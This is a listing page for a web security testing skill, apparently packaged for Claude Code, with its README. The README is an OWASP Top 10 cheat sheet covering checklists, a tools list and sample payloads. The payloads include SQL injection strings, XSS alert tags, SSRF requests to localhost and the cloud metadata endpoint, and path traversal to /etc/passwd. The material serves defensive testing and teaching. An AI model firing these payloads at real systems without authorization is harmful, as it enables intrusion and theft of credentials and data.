About web-security-expert
web-security-expert is a reference skill for web security testing, intended for developers and security practitioners reviewing authentication, authorization, and input validation. It brings together OWASP Top 10 testing guidance, checklists, sample payloads, and related tools.
Key features
- 01OWASP Top 10 testing reference
- 02Authentication checklist
- 03Authorization vulnerability checks
- 04Input validation test areas
- 05List of common security testing tools
Use cases
- 01Review authentication weaknesses in a web app
- 02Test endpoints for access control flaws
- 03Check defenses against injection and XSS
- 04Select proxy, scanning, or fuzzing tools
Install
Copy the command and run it in a terminal.
$
npx skills add https:/After installing, type/web-security-expertin Claude Code to confirm it loaded.
Details
From the project READMEWeb Security Expert
OWASP Top 10 Quick Reference
| Vuln | Test | Payload Example |
|---|---|---|
| SQLi | ', ", 1 OR 1=1 | ' UNION SELECT null,username,password FROM users-- |
| XSS | <script>, event handlers | <img src=x onerror=alert(1)> |
| SSRF | Internal URLs | http://127.0.0.1, http://169.254.169.254 |
| IDOR | Change IDs | /api/user/123 → /api/user/124 |
| LFI | Path traversal | ../../../etc/passwd |
| RCE | Command chars | ; id, ` |
Testing Checklist
Authentication
- Brute force protection
- Password reset flaws
- Session fixation
- JWT vulnerabilities
Authorization
- IDOR on all endpoints
- Privilege escalation
- Missing function level access
Input Validation
- SQLi all parameters
- XSS reflected/stored
- Command injection
- File upload bypass
Quick Payloads
# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--
# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/
# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
Tools
| Purpose | Tool |
|---|---|
| Proxy | Burp Suite, OWASP ZAP |
| SQLi | sqlmap |
| XSS | XSStrike, dalfox |
| Fuzzing | ffuf, wfuzz |
Comments
Markdown supported